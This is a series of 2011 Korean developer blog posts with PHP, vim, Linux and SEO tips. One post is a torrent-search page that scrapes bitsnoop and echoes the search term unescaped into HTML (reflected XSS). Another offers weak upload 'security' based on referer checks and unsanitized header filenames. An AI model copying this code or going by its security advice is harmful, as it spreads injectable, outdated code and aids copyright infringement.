    <meta name=Generator content="Microsoft Excel 9">


    <style>
    td{font-size:9pt; font-family:굴림}
    br{mso-data-placement:same-cell;}
    BR{mso-data-placement:same-cell;}
    .title{font-size:12pt;font-weight: bold}
    .title2{font-size:8pt;font-weight: normal}
    .title3{font-weight: normal;mso-text-control:shrinktofit;white-space:nowrap;}
    .font{font-size:9pt}
    .int{mso-number-format:"0_ ";mso-text-control:shrinktofit;white-space:nowrap;}/*숫자타입*/
    .decimal2{mso-number-format:"\#\,\#\#0\.00_ \;\[Red\]\\-\#\,\#\#0\.00\\ ";mso-text-control:shrinktofit;white-space:nowrap;}/*숫자타입(콤마표시,소수점2자리)*/
    .percent{mso-style-parent:style0;mso-number-format:Percent;} /*백분율(소수2자리)*/
    .other{mso-number-format:"\@";mso-text-control:shrinktofit;white-space:nowrap;}/*문자타입*/
    .text{mso-number-format:"\@";mso-text-control:shrinktofit;white-space:nowrap;}/*문자타입*/
    </style>
    <!--[if gte mso 9]><xml>
    <x:ExcelWorkbook>
    <x:ExcelWorksheets>

    <x:ExcelWorksheet>
    <x:Name><?=$Excel_Title?></x:Name>
    <x:WorksheetOptions>
    <x:DefaultRowHeight>270</x:DefaultRowHeight>
    <x:Print>
    <x:ValidPrinterInfo/>
    <x:PaperSizeIndex>9</x:PaperSizeIndex>
    <x:HorizontalResolution>600</x:HorizontalResolution>
    <x:VerticalResolution>600</x:VerticalResolution>
    </x:Print>
    <x:Selected/>

    <?if($_POST[Excel_SplitHorizontal] || $_POST[Excel_SplitVertical]){//틀고정시 적용?>
    <x:FreezePanes/>
    <x:FrozenNoSplit/>
    <x:SplitHorizontal><?=$_POST[Excel_SplitHorizontal]?></x:SplitHorizontal>
    <x:TopRowBottomPane><?=$_POST[Excel_SplitHorizontal]?></x:TopRowBottomPane>
    <x:SplitVertical><?=$_POST[Excel_SplitVertical]?></x:SplitVertical>
    <x:LeftColumnRightPane><?=$_POST[Excel_SplitVertical]?></x:LeftColumnRightPane>
    <x:ActivePane>0</x:ActivePane>
    <?}?>

    <x:Panes>
    <x:Pane>
    <x:Number>3</x:Number>
    <x:ActiveRow>0</x:ActiveRow>
    <x:ActiveCol>0</x:ActiveCol>
    <x:RangeSelection>$G$19:$G$20</x:RangeSelection>
    </x:Pane>
    </x:Panes>
    <x:ProtectContents>False</x:ProtectContents>
    <x:ProtectObjects>False</x:ProtectObjects>
    <x:ProtectScenarios>False</x:ProtectScenarios>
    </x:WorksheetOptions>
    </x:ExcelWorksheet>
    </x:ExcelWorksheets>
    <x:WindowHeight>11475</x:WindowHeight>
    <x:WindowWidth>17745</x:WindowWidth>
    <x:WindowTopX>120</x:WindowTopX>
    <x:WindowTopY>90</x:WindowTopY>
    <x:ProtectStructure>False</x:ProtectStructure>
    <x:ProtectWindows>False</x:ProtectWindows>
    </x:ExcelWorkbook>
    </xml><![endif]-->

    <table border=1>
    <tr><td class=int x:num=1000>1000</td></tr>
    <tr><td class=int x:num=1000>1000</td></tr>
    <tr><td class=int x:num=1000>1000</td></tr>
    <tr><td class=int x:fmla='=sum(A1:A3)'></td></tr>
    </table>                                       
    2011/10/31 18:29 2011/10/31 18:29

    제가 왜 '블로그 상위노출 기준과 방법'이라고 작성하지 않고 '블로그 상위노출 기준과 블로그 상위노출 방법'이라하고 빨강색과 크기를 크게 했을까요? N검색 사이트의 검색로봇의 상위 노출에 유리하게 판단할 수 있도록 하기 위함입니다.


    검색포털의 검색로봇이 수집한 정보는 단어별로 색인되어 DB에 보관한 후 검색자의 검색어와 일치되는 단어를 검색하여 검색 결과에 노출합니다.


    이 과정에서 동일한 단어의 검색어들이 노출되게 되는데, 어떤 정보를 상위에 노출시켜야 할 지 사전에 어떠한 기준이 있어야 합니다.


    그 기준은 통합 검색의 검색 탭(블로그, 카페, 이미지, 동영상, 지식iN, 지식쇼핑, 뉴스 등)별로 다르지만 검색 상위 노출의 일정한 규칙을 가지고 있습니다.


    검색로봇이 판단하는 검색 상위 노출의 기본적인 요인은 정확도, 인기도, 등록일이며, 정확도에는 블로그 포스트의 제목에서 검색어의 위치와 반복 횟수, 본문에서 대표 검색어의 반복 회수, 본문 글자의 크기와 색상, 포스트의 전체 크기를 의미합니다.


    블로그 상위 노출 기준과 블로그 상위 노출 방법을 터특하기 전에 우선 선행되어야 할 항목이

    검색 포털의 검색로봇과 검색엔진의 동작원리와 노출 원리와 규칙을 이해한 후 그에 맞는 포스트를 작성하고 블로그를 관리해야 합니다.

     

     

    1.키워드를 잘 선택한다

    2.키워드가 검색 카테고리에 적당하게 등록이 되어야한다

    3.제목에 키워드가 들어가야하고 내용 앞부분에 키워드를 2~3번 넣어주면 좋다

    4.블로그지수가 높아야한다

    5.남의 글을 복사한 것이 아닌 자신의 창작글이어야한다

    6.내용 속에 이미지,사진,동영상이 있으면 확률이 더 높다

    7.제목(주제)과 내용이 연관성이 있어야한다.

     

    블로그를 운영하시는 분 입장에서는 나의 글이 무조건 상위에 노출이 되었으면 하는 바람을 지니고 있겠지만 검색엔진에서는 검색 사용자가 원하는 결과를 보여줘야 한다는 과제를 안고 있습니다.


    때문에 블로그 상위노출을 위한 첫 걸음은 검색엔진의 입장이 되어 보는 것입니다.


    1. 검색 사용자가 입력한 검색어와의 관련성을 높여라.


    이 부분에 대한 과제 때문에 검색 사용자가 입력한 검색어가 블로그의 포스트 내에 적절히 포함되어 있어야 합니다.

    가장 중요한 위치는 물론 제목이며 본문 내에도 다수 포함되어 있는 것이 관련성을 높이는 방법입니다.


    2. 정성스럽게 작성된 컨텐츠여야 한다.


    네티즌들이 좋아하는 페이지의 구성은 적절한 량의 텍스트와 이미지 혹은 동영상이 적절히 섞여 있는 것입니다. 해서 포스트 내용이 텍스트로만 구성되어 있을 것이 아니라 이미지 혹은 동영상이 적절히 섞여 있는 형태를 선호합니다.


    3. 컨텐츠 소비자의 호응도를 높여라.


    검색로봇이 로직에 의해 1차적으로 점수를 부여하여 순위를 결정하여 노출시킬 것입니다. 그 다음에는 해당 포스트에 게재된 컨텐츠를 소비한 이들이 댓글, 공감, 스크랩 등으로 얼마나 호응했는지를 보고서 이 포스트의 진실성 여부를 판단하여 순위 조정을 할 것입니다.


    4. 성실한 블로그 운영자여야 한다.


    컨텐츠를 꾸준히 업데이트하는지, 복사한 컨텐츠가 아닌 직접 생성한 컨텐츠인지, 이웃은 얼마나 많은지 등을 보고서 블로그 자체의 신뢰 점수를 부여할 것입니다.


    이 4가지가 기본이 되는 요소라고 볼 수 있습니다. 이 요소들의 점수를 적절히 연산하여 점수를 계산하고 이 점수에 따라 상위노출이 결정될 것입니다.

    2011/10/27 13:51 2011/10/27 13:51
    사용자 삽입 이미지
    2011/10/24 20:04 2011/10/24 20:04
    참조 : http://vim.wikia.com/wiki/Launch_files_in_new_tabs_under_Windows

    윈도우용 vim 인 gvim.exe 편집기를 사용할 때
    파일 열면 새창으로 열리지 않고
    하나의 창에서 새탭으로 열리게 하는 팁입니다.
    ..
    윈도우 7 의 경우
    레지스트리 편집기를 열여서 ( regedit 명령어 )

    \HKEY_CLASSES_ROOT\Applications\gvim.exe\shell\edit\command

    항목을 열어서 "기본값" 수정에서

    "C:\Program Files (x86)\Vim\vim73\gvim.exe" "%1"

    와 같이 된 부분을 --remote-tab-silent 옵션을 추가해서
    아래아 같이 수정하고 저장하면 됩니다.

    "C:\Program Files (x86)\Vim\vim73\gvim.exe" --remote-tab-silent "%1"


    ===============
    vim -p a.txt b.txt c.txt 하면 탭으로 열립니다.
    vim -p3 하면 이름없는 파일로 탭 3개가 열립니다.

    연상태에서

    :tabnew d.txt 하면 새탭으로 파일을 열고..

    :tabn 은 앞쪽으로 탭창이동 :tabp 뒤탭으로 이동
    :tabfirst 혹은 :tabfir 는 첫번째 탭창, :tablast 혹은 :tabla 는 마지막 탭창        
    단추키로는 normal에서 gt, gT 키로 탭이동도 됩니다                              
    2011/10/24 12:21 2011/10/24 12:21
    Snoopy.class.php 다운받으셔서 경로만 맞춰주세요

    <?
    $g4_path = ".";
    include_once("$g4_path/common.php");
    include_once("$g4[path]/lib/mw.builder.lib.php");
    if($shotbirdie_tkey){
    $ti_de = urldecode($shotbirdie_tkey);
    $g4[title] = "자료실 > 토렌트검색 : $ti_de";
    }else{
    $g4[title] = "자료실 > 토렌트검색";
    }
    @include_once("$g4[path]/head.php");
    ?>
    <script language="Javascript" type="text/Javascript">
    <!--
    function MM_popupMsg(msg) { //v1.0
    alert(msg);
    }
    //-->
    </script>
    <style>

    .jyGuideBox {margin-top:30px; padding:20px; background:#f2f2f2;}
    .jyGuideBox .txt_title {padding-left:20px; height:17px; line-height:19px; font-weight:bold; color:#333; background:url('./img/ico_sprites_bule.gif') no-repeat 2px 2px;}
    .jyGuideBox ul {padding-top:8px;}
    .jyGuideBox li {padding-left:20px; height:18px; line-height:20px; font-size:11px; color:#999; list-style:none; background:url('./img/ico_sprites_bule.gif') no-repeat 10px -30px;}
    </style>
    <!--상단검색-->
    <table width="730" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
    <td width="29"><img src="http://soncook2.cdn2.cafe24.com/shotbirdie/search_left.gif" width="29" height="79"></td>
    <td valign="top" background="http://soncook2.cdn2.cafe24.com/shotbirdie/search_bodybg.gif"><table width="100%" border="0" cellspacing="0" cellpadding="0">
    <tr>
    <td height="40"><table width="100%" border="0" cellspacing="0" cellpadding="0">
    <tr>
    <td width="3" height="6"></td>
    <td height="6"></td>
    </tr>
    <tr>
    <td> </td>
    <td><table width="100%" border="0" cellspacing="0" cellpadding="0">
    <tr>
    <td width="150" class="search_txt">토렌트검색</td>
    <td class="search_txt"><div align="right">
    <?
    $k01 = urlencode("1박2일");
    $k02 = urlencode("무한도전");
    $k03 = urlencode("런닝맨");
    $k04 = urlencode("남자의자격");
    $k05 = urlencode("영어공부");
    $k06 = urlencode("음악");
    $k07 = urlencode("성인");
    $k08 = urlencode("서식");
    $k09 = urlencode("자막");
    $k10 = urlencode("강좌");
    $k11 = urlencode("나는가수다");

    ?>
    <a href='<?=$PHP_SELF?>?shotbirdie_tkey=<?=$k05?>'><span class='search_txt'><u>영어공부</u></span></a> |
    <a href='<?=$PHP_SELF?>?shotbirdie_tkey=<?=$k11?>'><span class='search_txt'><u>나는 가수다</u></span></a> |
    <a href='<?=$PHP_SELF?>?shotbirdie_tkey=<?=$k01?>'><span class='search_txt'><u>1박2일</u></span></a> |
    <a href='<?=$PHP_SELF?>?shotbirdie_tkey=<?=$k02?>'><span class='search_txt'><u>무한도전</u></span></a> |
    <a href='<?=$PHP_SELF?>?shotbirdie_tkey=<?=$k03?>'><span class='search_txt'><u>런닝맨</u></span></a> |
    <a href='<?=$PHP_SELF?>?shotbirdie_tkey=<?=$k04?>'><span class='search_txt'><u>남자의자격</u></span></a> |
    <a href='<?=$PHP_SELF?>?shotbirdie_tkey=<?=$k06?>'><span class='search_txt'><u>음악</u></span></a> |
    <a href='<?=$PHP_SELF?>?shotbirdie_tkey=<?=$k07?>'><span class='search_txt'><u>성인</u></span></a> |
    <a href='<?=$PHP_SELF?>?shotbirdie_tkey=<?=$k08?>'><span class='search_txt'><u>무료서식</u></span></a> |
    <a href='<?=$PHP_SELF?>?shotbirdie_tkey=<?=$k09?>'><span class='search_txt'><u>자막</u></span></a> |
    <a href='<?=$PHP_SELF?>?shotbirdie_tkey=<?=$k10?>'><span class='search_txt'><u>강좌</u></span></a>

    </div></td>
    </tr>
    </table></td>
    </tr>
    </table></td>
    </tr>
    <tr>
    <td height="39"><table width="100%" border="0" cellspacing="0" cellpadding="0">
    <form type="get" action="<?=$PHP_SELF_SELF?>">
    <tr>
    <td><input name=shotbirdie_tkey maxlength=30 itemname="토렌트 검색어" required value='<?=$shotbirdie_tkey?>' style="width:620; height:22px;"></td>
    <td width="60"><div align="right">
    <input name="image" type=image src="http://soncook2.cdn2.cafe24.com/shotbirdie/search_bt.gif" align=absmiddle width="49" height="21" border=0>
    </div></td>
    </tr>
    </form>
    </table></td>
    </tr>
    </table></td>
    <td width="20"><img src="http://soncook2.cdn2.cafe24.com/shotbirdie/search_right.gif" width="20" height="79"></td>
    </tr>
    </table>
    <!--상단검색-->
    <center>매일 10~11시, 15~16시, 20~23시는 비회원 다운로드 가능(회원은 언제나 가능)</center>
    <?
    if($shotbirdie_tkey == ''){ }else{
    require './lib/Snoopy.class.php';
    ini_set("allow_url_fopen","1");

    switch($sort_code){
    case 'a': //최근
    $sort = "a/d/";
    $scolor01 = "style='color: #990000;'";
    break;
    case 'c': //인기
    $sort = "c/d/";
    $scolor02 = "style='color: #990000;'";
    break;
    case 's': //시더
    $sort = "s/d/";
    $scolor03 = "style='color: #990000;'";
    break;
    case 'n': //이름
    $sort = "n/d/";
    $scolor04 = "style='color: #990000;'";
    break;
    case 'z': //크기
    $sort = "z/d/";
    $scolor05 = "style='color: #990000;'";
    break;
    default: //인기
    $sort = "c/d/";
    $scolor02 = "style='color: #990000;'";
    $tpage = 1;
    break;
    }
    switch($tpage){
    case '1':
    $tcolor01 = "style='color: #990000; font-weight:bold;'";
    break;
    case '2':
    $tcolor02 = "style='color: #990000; font-weight:bold;'";
    break;
    case '3':
    $tcolor03 = "style='color: #990000; font-weight:bold;'";
    break;
    default:
    $tcolor02 = "style='color: #990000; font-weight:bold;'";
    break;
    }
    $url = "http://bitsnoop.com/search/all/".$shotbirdie_tkey."/".$sort.$tpage."/?fmt=rss";
    $snoopy = new Snoopy;
    $snoopy->fetch($url);
    $xml = @simplexml_load_string($snoopy->results);
    $listct = '30'; //첫 파싱후 2번째부터는 수량조절용으로 사용(최적화를 위해)
    //$listct = count($xml->item);

    //테이블상단
    echo "
    <br><br>
    <table width='730' height='30' border='0' align='center' cellpadding='0' cellspacing='0'>
    <tr>
    <td>
    <table width='100%' border='0' cellspacing='5' cellpadding='0'>
    <tr>
    <td width='50%' align='left'><a href='./bbs/board.php?bo_table=notice&wr_id=3' target='_blank'><font color='#990000'>토렌트 설치 및 사용법</a></td>
    <td width='50%' align='right'>
    <!--순서-->
    <a href='$PHP_SELF_SELF?shotbirdie_tkey=$shotbirdie_tkey&sort_code=a&tpage=$tpage'><span $scolor01>최신순</span></a> |
    <a href='$PHP_SELF_SELF?shotbirdie_tkey=$shotbirdie_tkey&sort_code=c&tpage=$tpage'><span $scolor02>인기순</span></a> |
    <a href='$PHP_SELF_SELF?shotbirdie_tkey=$shotbirdie_tkey&sort_code=s&tpage=$tpage'><span $scolor03>시드순</span></a> |
    <a href='$PHP_SELF_SELF?shotbirdie_tkey=$shotbirdie_tkey&sort_code=n&tpage=$tpage'><span $scolor04>이름순</span></a> |
    <a href='$PHP_SELF_SELF?shotbirdie_tkey=$shotbirdie_tkey&sort_code=z&tpage=$tpage'><span $scolor05>크기순</span></a>
    </td>
    </tr>
    </table>
    </td>
    </tr>
    </table>
    <table width='730' border='0' align='center' cellpadding='0' cellspacing='0'>
    <tr>
    <td><table width='100%' border='0' cellspacing='0' cellpadding='0'>
    <tr>
    <td height='1' bgcolor='BFBFBF'></td>
    </tr>
    <tr>
    <td height='32' bgcolor='FAFAFA'><table width='100%' border='0' cellspacing='0' cellpadding='0'>
    <tr>
    <td width='38' align='center'>번호</td>
    <td width='500' align='center'>제목</td>
    <td width='66' align='center'>크기</td>
    <td width='38' align='center'>시드</td>
    <td width='44' align='center'>마그넷</td>
    <td width='44' align='center'>토렌트</td>
    </tr>
    </table></td>
    </tr>
    <tr>
    <td height='1' bgcolor='EDEDED'></td>
    </tr>
    </table></td>
    </tr>
    <tr>
    <td>
    ";
    for($i=0; $i<$listct; $i++){
    $wr_subject[$i] = $xml->channel->item[$i]->title;
    $category[$i] = $xml->channel->item[$i]->category;
    $link[$i] = $xml->channel->item[$i]->link;
    $pubDate[$i] = $xml->channel->item[$i]->pubDate;
    $numSeeders[$i] = $xml->channel->item[$i]->numSeeders;
    $numLeechers[$i] = $xml->channel->item[$i]->numLeechers;
    $numFiles[$i] = $xml->channel->item[$i]->numFiles;
    $numComments[$i] = $xml->channel->item[$i]->numComments;
    $size[$i] = $xml->channel->item[$i]->size;
    $fileName[$i] = $xml->channel->item[$i]->torrent->fileName;
    $url_join[$i] = 'http://torrage.com/torrent/'.$fileName[$i];
    $contentLength[$i] = $xml->channel->item[$i]->torrent->contentLength;
    $infoHash[$i] = $xml->channel->item[$i]->torrent->infoHash;
    $magnetURI[$i] = $xml->channel->item[$i]->torrent->magnetURI;
    $wr_content[$i] = $xml->channel->item[$i]->description;
    //echo "$wr_subject / $fileName / $url_join<br>";
    //순번
    $num = $i+1;
    //파일용량
    $size[$i] = round(($size[$i] / 1024)/1024);

    //회원가입에 따른차등
    if(!$member['mb_id']){
    //안내메세지
    $tmsg = "매일 10~11시, 15~16시, 20~23시는 비회원 다운로드 가능하세요^^";

    $timeinfo = getdate(time());
    if(($timeinfo[hours] >= '10' and $timeinfo[hours] < '11') or ($timeinfo[hours] >= '15' and $timeinfo[hours] < '16') or ($timeinfo[hours] >= '20' and $timeinfo[hours] < '23')){
    $magnetURI_m[$i] = "<a href='$magnetURI[$i]' target='_blank' onClick=\"MM_popupMsg('$tmsg')\"><img src='http://soncook2.cdn2.cafe24.com/shotbirdie/torrent_img01.GIF' border='0'></a>";
    $url_join_m[$i] = "<a href='$url_join[$i]' target='_blank' onClick=\"MM_popupMsg('$tmsg')\"><img src='http://soncook2.cdn2.cafe24.com/shotbirdie/torrent_img02.GIF' border='0'></a>";
    }else{
    $magnetURI_m[$i] = "<a href='http://web.search.naver.com/search.naver?where=site&sm=dir_hty&query=%BC%A6%B9%F6%B5%F0&ctgids=' target='_blank' onClick=\"MM_popupMsg('$tmsg-샷버디 클릭후에 로그인 해주시면 됩니다')\"><img src='http://soncook2.cdn2.cafe24.com/shotbirdie/torrent_img01.GIF' border='0'></a>";
    $url_join_m[$i] = "<a href='http://web.search.naver.com/search.naver?where=site&sm=dir_hty&query=%BC%A6%B9%F6%B5%F0&ctgids=' target='_blank' onClick=\"MM_popupMsg('$tmsg-샷버디 클릭후에 로그인 해주시면 됩니다')\"><img src='http://soncook2.cdn2.cafe24.com/shotbirdie/torrent_img02.GIF' border='0'></a>";
    }
    }else{ //로그인시
    $magnetURI_m[$i] = "<a href='$magnetURI[$i]'><img src='http://soncook2.cdn2.cafe24.com/shotbirdie/torrent_img01.GIF' border='0'></a>";
    $url_join_m[$i] = "<a href='$url_join[$i]'><img src='http://soncook2.cdn2.cafe24.com/shotbirdie/torrent_img02.GIF' border='0'></a>";
    }

    //중복내용
    echo "
    <table width='100%' border='0' cellspacing='0' cellpadding='0'>
    <tr>
    <td><table width='100%' height='33' border='0' cellpadding='0' cellspacing='0'>
    <tr>
    <td width='38' align='center'>$num</td>
    <td width='500'>$wr_subject[$i]</td>
    <td width='66' align='center'>$size[$i]MB</td>
    <td width='38' align='center'>$numSeeders[$i]</td>
    <td width='44' align='center'>$magnetURI_m[$i]</td>
    <td width='44' align='center'>$url_join_m[$i]</td>
    </tr>
    </table></td>
    </tr>
    <tr>
    <td height='1' bgcolor='EDEDED'></td>
    </tr>
    </table>
    ";
    //echo "$num - <a href='$url_join[$i]' target='_blank'>$wr_subject[$i]</a><br>";
    }//end for($i)
    //테이블하단
    echo "
    </td>
    </tr>
    <tr>
    <td align='center'>
    <!--페이지-->
    <a href='$PHP_SELF_SELF?shotbirdie_tkey=$shotbirdie_tkey&sort_code=$sort_code&tpage=1'><span $tcolor01>1</span></a> |
    <a href='$PHP_SELF_SELF?shotbirdie_tkey=$shotbirdie_tkey&sort_code=$sort_code&tpage=2'><span $tcolor02>2</span></a> |
    <a href='$PHP_SELF_SELF?shotbirdie_tkey=$shotbirdie_tkey&sort_code=$sort_code&tpage=3'><span $tcolor03>3</span></a>
    </td>
    </tr>
    </table>
    ";
    } //end if(shotbirdie_tkey)
    ?>
    <div class="jyGuideBox">
    <p class="txt_title">반드시 읽어보세요.</p>
    <ul>
    <li>본 서비스는 토렌트 외부 검색기로, 토렌트 통합검색을 제공합니다.</li>
    <li>검색자료는 서버에 저장, 관리 하지 않으며, 검색 및 다운로드만을 제공합니다.</li>
    <li>업로드 서비스는 제공되지 않으며, 이미지를 제공하지 않습니다.</li>
    <li>일부 파일은 다운로드 되지 않을 수 있으며, 자료의 질에 대해서는 보장하지 않습니다.</li>
    </ul>
    </div>
    <?
    //유가정보

    ?>
    <?
    @include_once("$g4[path]/tail.php");
    ?>      
                                    
    2011/10/24 12:20 2011/10/24 12:20
    이곳에 올려진 파일업로드와 관련되어 나온 보안 해결책에 대해 정리해 봤습니다.

    첫째,
    PHP 파일업로드 후 스크립트 실행에 대한 해결책..

    $UPfile = "$upload_name.zip"; // 업로드된 원래 파일뒤에 .zip 포함
    $F = opendir("./data") or die(error("./data 디렉토리를 열수 없습니다"));



    while($existF = readdir($F)) {

    if (file_exists("./data/$UPfile")) {
    $y++;
    $UPfile = "$upload_name@$y.zip";
    // 같은이름이 존재하면 @번호 형식으로 파일명 변경
    }

    }

    closedir($F);

    $tfile = substr($UPfile,0,-4); // .zip을 뺀 파일명 DB에 저장

    copy($upload,"./data/$UPfile") or die(error("파일 저장에 오류가 있습니다"));

    실제로 저장되어 있는 파일명은 .zip 으로 되어있어서 실행이 불가능하며
    무조건적으로 다운됩니다.

    다운로드시 Header 함수 사용

    $filename = "./data/$file.zip"; // 저장되어 있는 파일명
    $filesize = filesize($filename); // 저장되어 있는 파일의크기
    $Tfile = explode("@",$file); // 원래 파일명 반환
    Header("Content-Type: application/zip");
    Header("Content-Disposition: inline; filename=$Tfile[0]");
    Header("Content-Length: $filesize");
    Header("Pragma: no-cache");
    Header("Expires: 0");
    $fp=fopen("$filename", "r");
    echo fread($fp, $filesize);
    fclose($fp);

    둘째,
    GET 방식으로 변수전달하여 서버내의 파일을 다운로드 하는 문제와
    사용자가 파일전송폼의 HTML 문서를 사용자의 PC에 저장하여
    POST 방식으로 변수전달할경우

    if (!eregi("http://$HTTP_HOST",$HTTP_REFERER) or $QUERY_STRING) {
    echo("정상적인 접근 바랍니다");
    exit;
    }
    2011/10/24 12:17 2011/10/24 12:17
    1. 자바스크립트로 이용할경우
    <script language=javascript>
    function goPage(cc_val) {
    var param = "";
    param += "?aa=11";
    param += "&bb=22";
    param += "&cc=" + escape(cc_val);

    location = "test.asp" + param;
    }
    < /script>

    2. 자바스크립트를 서버단 스크립트 언어로 이용
    <script language=javascript runat=server>
    function asp_escape(val) {
    return escape(val)
    }
    < /script>
    < a href="test.asp?aa=11&bb=22&cc=<%=asp_escape(cc_val)%>">링크다</a>
    2011/10/23 12:08 2011/10/23 12:08
    PC 에서 바이러스 체크하는것처럼 바이러스 체크 프로그램으로 검사 하는겁니다.

    리눅스 서버의 경우

    일단 삼바서버를 띄운다음 노트북이나 클라이언트로 로컬로 붙입니다.

    네트웍 드라이브를 잡아 알약 같은 프로그램으로 검사 하는겁니다.

    다운받은 각종 유틸 , 동영상, 소스를 서버에 옮기다보니
    여기저기 실시간 검색에서 튀어나온 트로이목마들이 많이 발견되더군요.

    로컬망을 기가바이트 허브와 각 호스트에 기가바이트 랜카드를 연결하고
    CAT6 망으로 바꾸니 복사 속도가 대략 10배나 빨라졌네요.

    동영상 큰 파일은 초당 100메가
    소스같은 작은 파일은 30메가 정도 나오더군요.

    이정도 속도면 SATA 하드를 직접 메인보드에 연결하여 복사하는 속도랑 맞먹습니다.                                       
    2011/10/23 12:03 2011/10/23 12:03
    예전에 제 블로그에 올렸던 글인데요 재탕할께요.

    How to Capture a Website Screenshot in Linux

    http://blog.naver.com/belladonnaf/50094171932

    1. 필요한 것.
    Linux Server with Centos/RHEL
    Khtml2Png (http://khtml2png.sourceforge.net)
    ImageMagick (http://imagemagick.org)
    KDE Desktop Environment
    Cmake - http://www.cmake.org

    2. 설치방법

    yum install Xvfb ImageMagick
    yum install firefox

    Xvfb :2 -screen 0 1024x768x24&
    export DISPLAY=:2
    import -window root example.png

    Install Basic Tools

    yum install gcc gcc-c++ automake autoconf nano zlib zlib-devel

    Install KDE desktop environment

    yum groupinstall "X Window System" "KDE (K Desktop Environment)"

    Install KDE developer libraries

    yum install kdelibs kdelibs-devel

    Install Xvfb Virtual Frame Buffer

    yum install Xvfb xorg xorg-x11-font*

    Install Cmake

    Cmake is cross plaform make utility. You cannot install using yum so you have to download the source files and compile it.

    wget <path/of/cmake.tar.gz>
    tar zxf cmake-2.7.1.tar.gz
    cd cmake-2.7.1

    then

    ./bootstrap
    make
    make install

    Install Khtml2PNG

    Download the source files from sourceforge.

    wget <path/to/khtml2png-2.7.5.tar.gz>
    tar xzf khtml2png-2.7.5

    ./configure
    make install

    마지막으로 ..

    Start Xvfb virtual server, then launch the khtml2png to grab a website screenshot

    > Xvfb :2 -screen 0 1024x768x24&
    > export DISPLAY=localhost:2.0

    then run khtml2png2

    > khtml2png2 --sw 200 --sh 150 http://www.example.com example.png

    --sh and --sw indicates both scaled width and height

    khtml 이 정말 단순한 브라우저에요                                       
    2011/10/23 12:00 2011/10/23 12:00

    사용자 삽입 이미지
    서버 : 윈도우 2003
    프로그램 : 익스체인지서버

    인 경우에 CDO.Message를 이용하고자 할 경우

    웹사이트 등록정보에서 응용프로그램 풀을 다음과 같이 변경한다.

    DefaultPool => ExchangeApplicantPool


    혹시 이렇게 해도 안되면...
    c:\windows\system32\cdosys.dll 파일에 웹게스트권한 추가해 준다

    2011/10/23 11:49 2011/10/23 11:49
    별로..쓰일일은 그다지 없을듯 싶은데 혹시 몰라서 링크랑 파일 첨부 해둔다.

    요걸 이용하면

    div 라고 치면 자동으로 <div></div>
    div#idname ==> <div id="idname"></div>
    table>tr>td,td ==>
    <table>
    <tr>
    <td></td>
    <td></td>
    </tr>
    </table>

    요런식으로 css의 셀렉터와 비슷하게 구문을 적으면 태그 완성해줌

    에디트 플러스 설정은.. 아래와 같이 하면 된다.
    사용자 삽입 이미지

    명령 : WScript.exe "D:\zencoding\zencoding.wsf"
    인수 : $(CurLine)||$(CurSel)
    디렉토리 : $(FileDir)
    텍스트필터로실행 체크 후 "바꾸기" 선택
    2011/10/23 11:33 2011/10/23 11:33